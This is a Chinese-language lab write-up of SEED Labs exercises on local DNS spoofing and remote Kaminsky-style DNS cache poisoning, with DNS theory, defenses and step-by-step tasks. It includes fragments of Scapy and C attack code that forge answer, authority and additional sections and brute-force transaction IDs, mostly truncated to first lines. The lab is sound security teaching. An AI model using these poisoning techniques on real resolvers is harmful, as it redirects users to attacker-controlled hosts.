网络攻防-假消息攻击3-DNS攻击,涉及实验:SEED Labs – Local DNS Attack Lab + SEED Labs – Remote DNS Cache Poisoning Attack Lab,代码见:https://github.com/Seanxz401/seed-labs
理论
DNS层次结构:
- 根域名:有13个DNS根服务器
- 顶级域TLD:
- 基础结构:arpa
- 通用:.com .net
- 赞助:.edu .gov .mail
- 国家代码:.cn .us
- 保留:.example .localhost
- 二级域名
区域与域:?
权威名称服务器:提供DNS查询的原始和最终答案(每个域中至少有一个)
DNS查询过程
/etc/hosts:存储某些主机名的IP地址。在计算机联系本地DNS服务器之前,它 首先在该文件中查找IP地址。
/etc/resolv.conf:向计算机的DNS解析器提供有关本地DNS服务器地址的信息。 DHCP提供的本地DNS服务器的IP地址也存储在这里。
迭代与递归混合查询过程:
DNS响应
- 问题部分:向名称服务器描述问题
- 回答部分:回答问题的记录
- 权威部分:指向权威名称服务器的记录
- 附加部分:与查询相关的记录
DNS缓存:当本地DNS服务器从其他DNS服务器获取信息时,它会缓存该信息。缓存中的每一条信息都有一个生存时间值,最终将超时并从缓存中删除
DNS数据包
DNS攻击
- 拒绝服务攻击:使本地DNS服务器和权威名称服务器无法响应DNS查询
- DNS欺骗:向受害者提供欺诈性IP地址,诱使他们与不同于他们意图的机器进行通信
- 如果攻击者获得了机器的根权限,可以修改 /etc/resolv.conf和 /etc/hosts
- 来自恶意DNS服务器的回复伪造攻击:恶意DNS Server在Authority Section和Additional Section中提供伪造数据
- 反向DNS查找中的应答伪造:如果数据包来自攻击者,则反向DNS查找将返回到攻击者的名称服务器。 攻击者可以使用他们想要的任何主机名进行回复。
- DNS重新绑定攻击:可以绕过同源策略。DNS重新绑定攻击_百度百科 (baidu.com)
- DNS缓存中毒攻击:具体见下方
本地DNS缓存中毒攻击:在看到来自本地DNS的查询后伪造DNS应答(Answer Section和Authority Section)
远程DNS缓存中毒攻击:需要猜测查询数据包使用的两个随机数,源端口号和事务ID。如果一次尝试失败,local DNS 将缓存实际回复;攻击者需要等待缓存超时以进 行下一次尝试。
Kaminsky攻击
核心思想:查询一个不可能存在的域名,伪造Authority Section。这样查询的域名被缓存也没关系,主要的攻击点在于随机数命中后能修改受害者机器上的权威服务器。
防止DNS缓存中毒攻击
- DNSSEC:对DNS数据提供身份验证和完整性检查。(数字签名机制)
- TLS/SSL:服务器必须提供由受信任实体签名的公钥证书,并证明它是证书的所有者。
实验
本地
环境测试
local-dns-server(10.9.0.53):cat /etc/bind/named.conf
,得到attacker32.com会被映射到的IP为10.9.0.153(attacker-ns)
user(10.9.0.5):dig ns.attacker32.com
,得到配置文件中对应的IP结果
dig www.example.com
:local-dns-server做出响应,没有查询到IP。但它会将请求发送到对应的官方nameserverdig @ns.attacker32.com www.example.com
:attacker-ns做出响应,返回该域名对应的虚假IP为1.2.3.5
。
Task1 构造DNS响应包
清除local-dns-server上的缓存:
1 | rndc dumpdb -cache # 保存到文件 /var/cache/bind/dump.db |
在seed-attacker创建攻击代码spoof_user.py,构造DNS响应包,只能攻击用户
1 | def spoof_user(pkt): |
user使用dig www.example.com
得到构造的IP 1.2.3.1:
Task2 DNS投毒
清除local-dns-server的dns缓存,构造攻击代码spoof_ns.py,当DNS服务器向上层发起请求时,进行伪装应答。
1 | def spoof_dns(pkt): |
user使用dig www.example.com
得到构造的IP 1.2.3.2:
停止spoof_ns.py攻击代码,user再次发起请求,结果还是1.2.3.2,说明local-dns-server的缓存区已经被污染。将缓存保存到文件rndc dumpdb -cache
,查看文件cat /var/cache/bind/dump.db
可以看到该域名对应的虚假IP 1.2.3.2已经被存储到缓存文件了。
Task3 构造虚假权威服务器
清除local-dns-server的dns缓存,构造攻击代码spoof_auth.py,当DNS服务器向上层发起请求时,进行伪装应答,同时返回虚假的权威服务器ns.attacker32.com。与Task2相比,添加了权威服务器的部分内容:
1 | # 构造nameserver服务器相关信息 |
返回的ANSWER SECTION与构造的Anssec无关,而是ns.attacker32.com攻击dns服务器上的结果:1.2.3.5
在ns.attacker32.com攻击dns服务器上查看域名example.comd的处理机制cat /etc/bind/zone_example.com
:
1 | @ IN A 1.2.3.4 |
user随意拼接一个example.com的子域名进行查询:sean.example.com,得到配置文件中的1.2.3.6
Task4 添加其他域名的权威服务器
清除dns缓存,攻击代码spoof_auth1.py相较于Task3,再增加一栏NS
1 | NSsec = DNSRR( rrname = 'example.com', |
user查询www.example.com结果为Anssec中构造的IP 1.2.3.4
查看dns缓存,google.com域名的权威服务器被改为攻击dns服务器了,即DNS欺骗包只保留了第一条NSsec:
修改ns.attacker32.com中的named.conf,加入
1 | zone "google.com" { |
复制zone_example.com为zone_google.com(主要是参考他的格式),添加一行以便查看:
1 | sean IN A 6.6.6.6 |
ns.attacker32.com重启DNS服务:
1 | service named restart |
user查询sean.google.com得到6.6.6.6:
Task5 Additional Section
清除缓存,构造攻击代码spoof_add.py,在Task4的基础上添加对Additional Section的构造:
1 | Addsec = DNSRR(rrname = 'ns.attacker32.com', |
添加了多种类型的域名,最终Additional Section中没有缓存成功的。不知道为什么。
远程
环境测试
首先删除与该环境可能发生冲突的、之前的环境遗留下来的问题。
- docker network rm ID:删除10.9.0.0那个子网,通过docker network ls可以查看网卡ID
- docker rm ID:删除attacker-ns那个容器(10.9.0.153),通过docker ps -a可以查看容器ID
查询ns.attacker32.com的IP,user执行dig ns.attacker32.com
,得到的IP就是local dns中的配置结果。
- user执行
dig www.example.com
,没有Answer - user执行
dig @ns.attacker32.com www.example.com
,得到attacker dsn中配置的IP地址1.2.3.5
Lab2 构造DNS请求
当这个请求发送时,local dns会发起迭代查询
1 | # 目的IP为local dns,源IP为任意IP,若该dns不对局域网外的请求做出回应,则将源IP改为与DNS服务器同一局域网的IP |
Lab3 DNS欺骗relpy
local dns清除缓存rndc
,开启wireshark,user执行dig www.example.com
,查看抓包结果:
- 向.com顶级域名的权威服务器查询example.com的权威服务器。
- 从返回结果中选择一个,将其IP作为DNS欺骗包的源IP
1 | # 源IP为通过dig寻找到的一个真实的nameserver地址 |
此段代码是攻击者假装是.example.com的权威服务器向local dns进行回应,如果响应的ID恰好等于DNS请求的ID,则local dns会将响应包中AuthoritySection中的权威服务器缓存到本地。
Lab4 构造攻击C代码
原理:随机对一个example.com的子域名(如aaaaa.example.com)发起DNS请求,然后攻击者针对此域名查询发送DNS响应包,根据报文结构可知ID在2字节的范围内(0~65535)递增,可能的结果:
- 命中ID的欺骗包在真的响应包之前到达,local dns缓存attacker ns作为example.com的权威服务器
- 否则,local dns先收到真的响应包,由于大概率没有这个随即构造的子域名,local dns并不会缓存权威服务器的信息,重新生成子域名即可继续攻击。
读取二进制文件:
1 | # DNS请求包 |
攻击流程:
1 | char a[26]="abcdefghijklmnopqrstuvwxyz"; |
发送DNS请求包:
1 | void send_dns_request(unsigned char * buffer,int pkt_size,char * name){ |
发送DNS响应包:
1 | void send_dns_response(unsigned char * buffer,int pkt_size,char * name,unsigned int id) |
通过原始套接字将构造好的包发送出去:
1 | void send_raw_packet(char * buffer, int pkt_size) |
Task5 攻击效果
- local dns清除缓存:
rndc flush
- 发起攻击:
gcc attacke.c
,sudo ./a.out
- 在local dns中查看缓存结果:
rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
,当有attacker dns的缓存后停止攻击 - user执行
dig www.example.com
,local dns返回的结果为attacker ns中配置的1.2.3.5,因为local dns在看到example.com时会直接向缓存中attacker dns询问。 - user执行
dig @ns.attacker32.com www.example.com
,attacker dns返回1,2,3,5